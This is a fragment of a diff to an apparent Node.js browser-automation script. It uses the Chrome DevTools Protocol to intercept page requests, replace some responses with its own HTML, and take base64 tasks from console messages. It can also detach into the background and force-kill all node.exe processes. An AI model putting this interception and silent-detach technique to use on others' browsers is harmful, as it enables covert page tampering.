|
+
params: {
|
|
576
|
+
requestId,
|
|
577
|
+
responseCode: 200,
|
|
578
|
+
responseHeaders: [
|
|
579
|
+
{ name: "Content-Type", value: "text/html" },
|
|
580
|
+
],
|
|
581
|
+
body: htmlData.toString("base64"),
|
|
582
|
+
},
|
|
583
|
+
}),
|
|
584
|
+
);
|
|
585
|
+
} catch (e) {
|
|
586
|
+
ws.send(
|
|
587
|
+
JSON.stringify({
|
|
588
|
+
id: Math.floor(Math.random() * 1000),
|
|
589
|
+
method: "Fetch.continueRequest",
|
|
590
|
+
params: { requestId },
|
|
591
|
+
}),
|
|
592
|
+
);
|
|
593
|
+
}
|
|
594
|
+
}
|
|
595
|
+
} else {
|
|
596
|
+
ws.send(
|
|
597
|
+
JSON.stringify({
|
|
598
|
+
id: Math.floor(Math.random() * 1000),
|
|
599
|
+
method: "Fetch.continueRequest",
|
|
600
|
+
params: { requestId },
|
|
601
|
+
}),
|
|
602
|
+
);
|
|
603
|
+
}
|
|
604
|
+
} catch (fe) {
|
|
605
|
+
try {
|
|
606
|
+
ws.send(
|
|
607
|
+
JSON.stringify({
|
|
608
|
+
id: Math.floor(Math.random() * 1000),
|
|
609
|
+
method: "Fetch.continueRequest",
|
|
610
|
+
params: { requestId },
|
|
611
|
+
}),
|
|
612
|
+
);
|
|
613
|
+
} catch (x) {}
|
|
614
|
+
}
|
|
615
|
+
}
|
|
616
|
+
if (
|
|
617
|
+
resp.method === "Runtime.consoleAPICalled" &&
|
|
618
|
+
resp.params &&
|
|
619
|
+
resp.params.args
|
|
620
|
+
) {
|
|
621
|
+
const text = resp.params.args
|
|
622
|
+
.map((a) => (a && a.value) || "")
|
|
623
|
+
.join(" ");
|
|
624
|
+
if (text.includes("_cdp_solve_: ")) {
|
|
625
|
+
const b64 = text.split("_cdp_solve_: ")[1];
|
|
626
|
+
const content = Buffer.from(b64, "base64").toString("utf-8");
|
|
627
|
+
enqueueTask(ws, content);
|
|
628
|
+
} else if (text.includes("_cdp_stop_")) {
|
|
629
|
+
process.exit(0);
|
|
630
|
+
}
|
|
631
|
+
}
|
|
632
|
+
} catch (e) {}
|
|
633
|
+
});
|
|
634
|
+
|
|
635
|
+
ws.on("close", () => {
|
|
636
|
+
activeConnections.delete(t.id);
|
|
637
|
+
});
|
|
638
|
+
ws.on("error", () => activeConnections.delete(t.id));
|
|
639
|
+
}
|
|
640
|
+
} catch (e) {
|
|
641
|
+
if (!launchAttempted) {
|
|
642
|
+
launchBrowser();
|
|
643
|
+
launchAttempted = true;
|
|
644
|
+
}
|
|
645
|
+
}
|
|
646
|
+
await sleep(2000);
|
|
647
|
+
}
|
|
648
|
+
}
|
|
649
|
+
|
|
650
|
+
if (process.argv.includes("--stop")) {
|
|
651
|
+
exec("taskkill /F /IM node.exe", () => process.exit(0));
|
|
652
|
+
} else if (process.argv.includes("--detach")) {
|
|
653
|
+
const child = require("child_process").spawn("node", [__filename], {
|
|
654
|
+
detached: true,
|
|
655
|
+
stdio: "ignore",
|
|
656
|
+
});
|
|
657
|
+
child.unref();
|
|
658
|
+
process.exit(0);
|
|
659
|
+
} else {
|
|
660
|
+
main();
|
|
661
|
+
}
|